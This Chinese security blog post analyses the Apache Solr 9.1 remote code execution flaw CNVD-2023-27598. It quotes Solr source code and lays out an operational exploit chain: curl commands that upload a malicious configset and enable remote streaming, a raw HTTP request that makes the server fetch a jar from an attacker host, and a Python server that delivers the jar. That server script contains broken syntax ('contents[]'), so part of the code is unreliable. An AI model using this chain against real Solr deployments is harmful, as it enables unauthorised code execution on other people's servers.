探索网络安全新技术
攀登黑客技术最高峰

CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞

Solr简介

Apache Solr是一款基于Apache Lucene搜索引擎库的开源企业级搜索平台,它提供了丰富的搜索、索引和分析功能,可以轻松地处理大规模数据集的搜索需求。Solr具有高性能、可扩展性和可靠性,被广泛应用于电子商务、内容管理、日志分析、企业搜索等领域。

Solr支持多种数据格式的索引和搜索,包括XML、JSON、CSV等。它还支持多种查询语言,如Solr查询语言(Solr Query Language,简称SQl),还可以通过HTTP请求和Java API进行访问。Solr还提供了一些高级功能,如分组、聚合、拼写检查、自动完成等,使得搜索结果更加精准和方便。

Solr是一个开源项目,由Apache软件基金会进行维护和开发,它采用Java语言编写,支持多种操作系统和编程语言。Solr的社区非常活跃,用户可以在社区中获得技术支持和最新的开发动态。

行业分布

Solr和Elasticsearch是目前业界两个最流行的开源搜索引擎,它们都基于Lucene搜索引擎库开发而成,提供了强大的搜索、索引和分析功能。Solr是Apache软件基金会下的顶级开源项目,被广泛应用于电子商务、内容管理、日志分析、企业搜索等领域。Solr具有高性能、可扩展性和可靠性,因此备受互联网巨头的青睐,如Netflix、eBay、Instagram和Amazon等公司均使用Solr。

FOFA搜索公网资产中出现了一万个”APACHE-Solr”,这表明Solr在公网资产中的应用非常广泛。另外,Solr在GitHub上的Star数量为3.8k,这也反映了Solr在开发者社区中的受欢迎程度。

产品特性

默认全局未授权,多部署于内网,内置zk服务,不可自动升级,需要手动升级修复漏洞

环境搭建

源码及安装包

https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2.tgz
https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2-src.tgz

8系列通过Ant 构建,不能直接导入idea,需要在目录下提前构建下

ant ivy-bootstrap、ant idea,然后直接导入idea即可

9 系列通过Gradle构建,直接导入idea即可,且需要jdk11及以上

编译成功后将源代码导入idea当中,开启solr并设置debug模式

漏洞的利用需要开启solrcloud,idea配置remote debug

CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞-威武网安

漏洞前提

SolrResourceLoader加载Evil Jar包执行static 代码块中恶意代码。漏洞利用中这两句代码完成了恶意jar包的加载。

loader.addToClassLoader(urls);
loader.reloadLuceneSPI();

org.apache.solr.core.SolrResourceLoader#addToClassLoader,首先获取到的classloader为URLClassLoader,URLClassLoader为后面加载路径时提供了更多的操作空间。

needToReloadLuceneSPI,是否通过SPI机制加载默认为true,也就是说是通过Java SPI机制进行加载。org.apache.solr.core.SolrResourceLoader#reloadLuceneSPI。

// Codecs:
PostingsFormat.reloadPostingsFormats(this.classLoader);
DocValuesFormat.reloadDocValuesFormats(this.classLoader);
Codec.reloadCodecs(this.classLoader);
// Analysis:
CharFilterFactory.reloadCharFilters(this.classLoader);
TokenFilterFactory.reloadTokenFilters(this.classLoader);
TokenizerFactory.reloadTokenizers(this.classLoader);

上传恶意JAR

这里需要引入Apache Solr的两个已知功能点,

1.ConfigSet配置集上传功能

官方文档提供了详细的API调用规范 https://solr.apache.org/guide/8_8/configsets-api.html

实际操作将solr example项目中_default 打zip即可

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset.zip "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib" -x "http://127.0.0.1:8888"

此接口的核心处理类为org.apache.solr.handler.admin.ConfigSetsHandler,configset.upload.enabled开关为默认开启,所以默认可以上传配置集文件。

配置集文件上传ZK中,首先判断了配置集是否已经存在,是否为单文件上传,filePath参数是否指定,文件是否覆盖等,紧接着进行文件解压(但是这里并无文件落地操作,都存储在ZK中)。

具体代码逻辑如下,关键位置做了一些简单的注释org.apache.solr.handler.admin.ConfigSetsHandler#handleConfigUploadRequest

private void handleConfigUploadRequest(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
  if (!"true".equals(System.getProperty("configset.upload.enabled", "true"))) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
        "Configset upload feature is disabled. To enable this, start Solr with '-Dconfigset.upload.enabled=true'.");
  }

// 获取上传的配置集文件名
  String configSetName = req.getParams().get(NAME);
  if (StringUtils.isBlank(configSetName)) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
        "The configuration name should be provided in the \"name\" parameter");
  }
// 此处开始配置集上传逻辑
  SolrZkClient zkClient = coreContainer.getZkController().getZkClient();
  String configPathInZk = ZkConfigManager.CONFIGS_ZKNODE + "/" + configSetName;
//判断ZK中是否已经存在
  boolean overwritesExisting = zkClient.exists(configPathInZk, true);

  boolean requestIsTrusted = isTrusted(req, coreContainer.getAuthenticationPlugin());

  // 获取上传一些参数
  String singleFilePath = req.getParams().get(ConfigSetParams.FILE_PATH, "");
  boolean allowOverwrite = req.getParams().getBool(ConfigSetParams.OVERWRITE, false);
  boolean cleanup = req.getParams().getBool(ConfigSetParams.CLEANUP, false);

  Iterator contentStreamsIterator = req.getContentStreams().iterator();

  if (!contentStreamsIterator.hasNext()) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "No stream found for the config data to be uploaded");
  }
// 获取上传文件流
  InputStream inputStream = contentStreamsIterator.next().getStream();

  // 是否为单文件上传
  if (!singleFilePath.isEmpty()) {
    String fixedSingleFilePath = singleFilePath;
    if (fixedSingleFilePath.charAt(0) == '/') {
      fixedSingleFilePath = fixedSingleFilePath.substring(1);
    }
    if (fixedSingleFilePath.isEmpty()) {
      throw new SolrException(ErrorCode.BAD_REQUEST, "The file path provided for upload, '" + singleFilePath + "', is not valid.");
    } else if (cleanup) {
      // Cleanup is not allowed while using singleFilePath upload
      throw new SolrException(ErrorCode.BAD_REQUEST, "ConfigSet uploads do not allow cleanup=true when file path is used.");
    } else {
      try {
        // Create a node for the configuration in zookeeper
        // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
        createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);
        String filePathInZk = configPathInZk + "/" + fixedSingleFilePath;
        zkClient.makePath(filePathInZk, IOUtils.toByteArray(inputStream), CreateMode.PERSISTENT, null, !allowOverwrite, true);
      } catch(KeeperException.NodeExistsException nodeExistsException) {
        throw new SolrException(ErrorCode.BAD_REQUEST,
                "The path " + singleFilePath + " for configSet " + configSetName + " already exists. In order to overwrite, provide overwrite=true or use an HTTP PUT with the V2 API.");
      }
    }
    return;
  }
  
// 单文件上传允许文件覆盖
  if (overwritesExisting && !allowOverwrite) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "The configuration " + configSetName + " already exists in zookeeper");
  }

  Set filesToDelete;
  if (overwritesExisting && cleanup) {
    filesToDelete = getAllConfigsetFiles(zkClient, configPathInZk);
  } else {
    filesToDelete = Collections.emptySet();
  }

  // zk中创建节点
  // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
  createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);

//获取zip文件流 在zk中存储
  ZipInputStream zis = new ZipInputStream(inputStream, StandardCharsets.UTF_8);
  ZipEntry zipEntry = null;
  boolean hasEntry = false;
  while ((zipEntry = zis.getNextEntry()) != null) {
    hasEntry = true;
    String filePathInZk = configPathInZk + "/" + zipEntry.getName();
    if (filePathInZk.endsWith("/")) {
      filesToDelete.remove(filePathInZk.substring(0, filePathInZk.length() -1));
    } else {
      filesToDelete.remove(filePathInZk);
    }
    if (zipEntry.isDirectory()) {
      zkClient.makePath(filePathInZk, false,  true);
    } else {
      createZkNodeIfNotExistsAndSetData(zkClient, filePathInZk,
          IOUtils.toByteArray(zis));
    }
  }
  zis.close();
  if (!hasEntry) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "Either empty zipped data, or non-zipped data was uploaded. In order to upload a configSet, you must zip a non-empty directory to upload.");
  }
  deleteUnusedFiles(zkClient, filesToDelete);

  // If the request is doing a full trusted overwrite of an untrusted configSet (overwrite=true, cleanup=true), then trust the configSet.
  if (cleanup && requestIsTrusted && overwritesExisting && !isCurrentlyTrusted(zkClient, configPathInZk)) {
    byte[] baseZnodeData =  ("{\"trusted\": true}").getBytes(StandardCharsets.UTF_8);
    zkClient.setData(configPathInZk, baseZnodeData, true);
  }
}

2.sechema-designer 功能

此功能为Solr 8.10及以后新引入的功能点,Schema Designer 屏幕允许用户使用示例数据以交互方式设计新模式。

CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞-威武网安

它的技术细节我们可以不用去考虑,通过阅读官方文档,新的sechema的创建可以基于我们上传的Configset来创建

CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞-威武网安

其实我们上传的ConfigSet是用来创建Collettion和Core的,这里之前出过漏洞,CVE-2020-13957,也是配置集上传导致的RCE

这里复习一下solrconfig.xml 文件,此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置 。

所以现在我们可以上传一个可控的solrconfig.xml 文件,可操作的范围就很多了。当我们上传了配置集文件,之前的新建Collections调用接口已被修复,将目光转向Schema Designer,新建一个Sehema

CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞-威武网安

首先新建一个secheam会加载solrconfig.xml,org.apache.solr.handler.designer.SchemaDesignerConfigSetHelper#loadSolrConfig,也就是去zk中去寻找solrconfig.xml 文件

在初始化SolrConfig(SolrConfig.xml 的对应类)过程中,会通过ZKloader加载配置文件

org.apache.solr.cloud.ZkSolrResourceLoader#openResource,查找文件,很显然这里是没有在ZK中找到solrconfig.xml 文件

配置集合上传路径新建的zk查询路径为/configs/* ,而新建designer-schema 在查询路径时会加上.designer*。

But,在配置集上传时我们可以指定filePath,且允许单文件上传以及文件覆盖选项,只需要单独上传下solrconfig.xml即可。

Linux:SSRF Jar协议 注入临时文件

这里也是官方提供的一个正常功能接口,当requestDispatcher.requestParsers.enableRemoteStreaming参数远程设置为true后,可实现http协议ssrf,netdoc协议目录遍历,file协议读取任意文件,jar协议注入tmp文件

注:需出网

curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.220.16:8983/solr/gettingstarted_shard1_replica_n1/config -H 'Content-type:application/json'
POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.220.16:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close

--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"

jar:http://192.168.220.1:7878/calc.jar?!/Calc.class
--------------------------5897997e44b07bf9--

服务端:这里攻击期间服务端需要一直不给返回包,否则tmp临时文件注入失败

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = '0.0.0.0' 
listen_port = 7777 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('\r\nClient req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))
                self.request.sendall(contents[])
                time.sleep(300000)
                print(30)
                self.request.sendall(contents[])

            except Exception as e:
                print ("get error at:"+str(e))



                
if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

漏洞演示

CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞-威武网安

CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞-威武网安

赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CNVD-2023-27598:深入分析 Apache Solr 9.1 RCE 远程代码执行漏洞》
文章链接:https://www.wevul.com/552.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册